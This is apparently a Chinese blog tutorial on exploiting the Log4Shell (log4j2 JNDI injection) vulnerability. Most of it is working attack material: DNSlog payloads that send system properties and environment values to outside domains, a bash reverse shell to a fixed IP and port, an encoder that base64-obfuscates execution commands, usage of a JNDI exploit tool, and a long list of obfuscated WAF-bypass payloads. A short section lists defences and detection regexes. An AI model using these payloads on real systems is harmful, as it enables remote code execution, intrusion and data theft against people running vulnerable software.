前言

Apache log4j是Apache的一个开源项目,Java的日志记录工具(同logback)。

log4j2中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞。

payload:${jndi:rmi:10.10.10.x:1099/shell}	#log4j2组件会将信息记录到日志中
日志中包含${},log4j在日志输出中,未对字符合法性进行严格的限制,遇到${,jndi接口通过lookup()方法解析括号中的内容	rmi:10.10.10.x:1099/shell
解析到ldap/rmi,就会去10.10.10.x的ldap/rmi服务找名为shell的资源,如果找不到就会去http服务中找
在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,从而实现注入。攻击者就可以通过shell实现任意的命令执行,造成严重危害

影响范围

Apache Log4j 2.x <= 2.14.1

受影响的组件(影响范围极广):

Spring-Boot-strater-log4j2 Apache Struts2 Apache Solr Apache Flink Apache Druid ElasticSearch Flume Dubbo Redis Logstash Kafka vmvare 

黑盒发现

只要是能够被服务端获取且被记录的地方都是可以触发漏洞的,比如 header 中的 Cookie、User-agent 等,post 或者 get 的参数中,url 中等,这种只能盲打,根据返回结果来判断。
header中字段都可以进行尝试
在这里插入图片描述

复现准备

JNDI

JNDI(Java Naming and Directory Interface) java命名与目录接口
JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI映射为特定的命名服务和目录系统是的Java应用程序可以和这些命名服务和目录服务之间进行交互

在这里插入图片描述

javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该类定义了Context接口和InitialContext类
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitiaIlDir-Context类
javax.naming.event:在命名目录服务器中请求事件通知 javax.naming.ldap:提供LDAP支持
javax.naming.spi:允许动态插入不同实现,胃不痛命名目录服务供应商的开发人员提供开发和现实的途径,以便应用程序通过JNDI可以访问相关服务

LADP

轻型目录访问协议(Light Weight Directory Access Protocol)

目录是一个为查询、浏览和搜索而优化的专业分部式数据库,它呈树状结构组织数据,就好像linux/unix系统中的文件目录一样。目录数据库和关系数据库不同,他有优异的读写性能,但是写性能差,并且没有事务处理、回滚等复杂功能,不适合存储修改频繁的数据。所以目录天生是用来查询的,就好像他的名字一样
用在统一身份认证领域比较多,简单的理解为类似于字典的数据流,可以通过LDAP协议,传一个name进去,就能获取到数据

RMI

远程方法调用(Remote Method Invocation)
远程方法调用是分布式编程中的一个基本思想,实现远程方法调用的技术有CORBA、WebService等(这两种独立于编程语言)。RMI则是专门为JAVA设计,依赖JRMP通讯协议。
RMI可以使我们引用远程主机上的对象,将JAVA对象作为参数传递,而这些对象要可以被序列化

漏洞复现

Dnslog数据外带

使用payload ${jndi:ldap://rpoghj.dnslog.cn}
看到窗口就可以插入测试(就是这里ip返回的不准确)
在这里插入图片描述
那么可以外带那些数据呢?
在这里插入图片描述

${jndi:ldap://${sys:java.version}.iswaen.dnslog.cn}
${jndi:ldap://${sys:os.arch}.iswaen.dnslog.cn}

在这里插入图片描述

使用工具进行反弹shell

JNDI注入工具下载地址: https://github.com/welk1n/JNDI-Injection-Exploit/releases

bash -i >& /dev/tcp/10.10.10.146/4444 0>&1

反弹shell命令进行加密

<!DOCTYPE html>
<html>
<head>
    <title>java runtime exec usage...</title>
</head>
<body>
    <p>Input type:
<input type="radio" id="bash" name="option" value="bash" onclick="processInput();" checked=""><label for="bash">Bash</label>
<input type="radio" id="powershell" name="option" value="powershell" onclick="processInput();"><label for="powershell">PowerShell</label>
<input type="radio" id="python" name="option" value="python" onclick="processInput();"><label for="python">Python</label>
<input type="radio" id="perl" name="option" value="perl" onclick="processInput();"><label for="perl">Perl</label></p>
 
    <p><textarea rows="10" style="width: 100%; box-sizing: border-box;" id="input" placeholder="Type Bash here..."></textarea>
<textarea rows="5" style="width: 100%; box-sizing: border-box;" id="output" onclick="this.focus(); this.select();" readonly=""></textarea></p>
 
<script>
  var taInput = document.querySelector('textarea#input');
  var taOutput = document.querySelector('textarea#output');
 
  function processInput() {
    var option = document.querySelector('input[name="option"]:checked').value;
 
    switch (option) {
      case 'bash':
        taInput.placeholder = 'Type Bash here...'
        taOutput.value = 'bash -c {echo,' + btoa(taInput.value) + '}|{base64,-d}|{bash,-i}';
        break;
      case 'powershell':
        taInput.placeholder = 'Type PowerShell here...'
        poshInput = ''
        for (var i = 0; i < taInput.value.length; i++) { poshInput += taInput.value[i] + unescape("%00"); }
        taOutput.value = 'powershell.exe -NonI -W Hidden -NoP -Exec Bypass -Enc ' + btoa(poshInput);
        break;
      case 'python':
        taInput.placeholder = 'Type Python here...'
        taOutput.value = "python -c exec('" + btoa(taInput.value) + "'.decode('base64'))";
        break;
      case 'perl':
        taInput.placeholder = 'Type Perl here...'
        taOutput.value = "perl -MMIME::Base64 -e eval(decode_base64('" + btoa(taInput.value) + "'))";
        break;
      default:
        taOutput.value = ''
    }
 
    if (!taInput.value) taOutput.value = '';
  }
 
  taInput.addEventListener('input', processInput, false);
</script>
 
</body>
</html>

在这里插入图片描述

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “反弹shell命令” -A “该IP是开启JDNI服务的主机地址”
-c :远程 class 文件中要执行的命令。
-A :服务器地址,可以是 ip 或者域名

Apache log4j2 vps复现

漏洞利用流程图:
在这里插入图片描述

防御与绕过

防御

更新log4j至 rc2(https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2)
禁止用户输入的参数中出现攻击关键字(过滤用户输入)过滤相关的关键词,比如${jndi://*}
禁止lookup下载远程文件(命名应用)
配置防火墙策略,禁止log4j的应用去连接外网
禁止log4j使用lookup方法
从log4j 的jar包总删除lookup(2.10以下版本)
升级受影响的应用及组件
使用waf 设置正则匹配规则

\${(\${(.*?:|.*?:.*?:-)('|"|`)*( ?1)}*|[jndi:(ldap|rm)]('|"|`)*}*){9,10}
(jndi:|ldap://)[^/]+/[\w,\\-]+#
……

绕过

1、JNDI、LADP、RMI绕过

2、利用分隔符和多个${}绕过

logg.info("${${::-J}ndi:ldap://127.0.0.1:1389/Calc}");

3、使用lowerCase upperCase把关键词分隔开

logg.info("${${lower:J}ndi:ldap://127.0.0.1:1389/Calc}");
logg.info("${${upper:j}ndi:ldap://127.0.0.1:1389/Calc}");

如果使用了正则的话可以使用upper把jndi进行转换
同时也可以利用一些特殊字符的大小写转化的问题

现在数据传输很多都是 json 形式,在 json 中也可以进行尝试
像 Jackson 和 fastjson 又有 unicode 和 hex 的编码特性,所以就可以尝试编码绕过

{"key":"\u0024\u007b"}
{"key":"\x24\u007b"}

一些payload变形绕过:

${${xcc:-j}${:ff:::-n}${:-d}${:-i}${muk:raz:f:o:-:}${i:ewwh:-l}${vno:ov:zpvk:-d}${lo:xq:zvx:-a}${yiku:b:-p}${rr::j:o:-:}${wy:klo:-/}${ery:loup:hgn:-/}${bhez:-f}${::-e}${mme:-y}${:-u}${:-a}${ndny:isc:wvlr:-k}${:-q}${:-h}${tr::d:-.}${por:rdd:o::-x}${p:-.}${uu:uno:ics:ae:-m}${w:c:--}${:wl:-s}${:--}${gaf::dhaa:wajp:-n}${:-.}${gl:-c}${wng:e:s:pe:-o}${:-/}}
${jndi:ldap://127.0.0.1:1389/ badClassName} 

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 

${${::-j}ndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 

${jndi:rmi://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}

${${lower:jndi}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 

${${lower:${lower:jndi}}:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 

${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${${upper:jndi}:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit} 

${${upper:j}${upper:n}${lower:d}i:${upper:rmi}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${${upper:j}${upper:n}${upper:d}${upper:i}:${lower:r}m${lower:i}}://nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk/sploit}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}

${${upper::-j}${upper::-n}${::-d}${upper::-i}:${upper::-l}${upper::-d}${upper::-a}${upper::-p}://${hostName}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk}

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.${env:COMPUTERNAME}.${env:USERDOMAIN}.${env}.nsvi5sh112ksf1bp1ff2hvztn.l4j.zsec.uk

参考

https://blog.csdn.net/weixin_46198176/article/details/124917641
https://cloud.tencent.com/developer/article/1919456
https://blog.csdn.net/Koikoi12/article/details/121906895
https://www.freebuf.com/articles/web/341857.html
https://blog.csdn.net/csd_ct/article/details/122916620

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐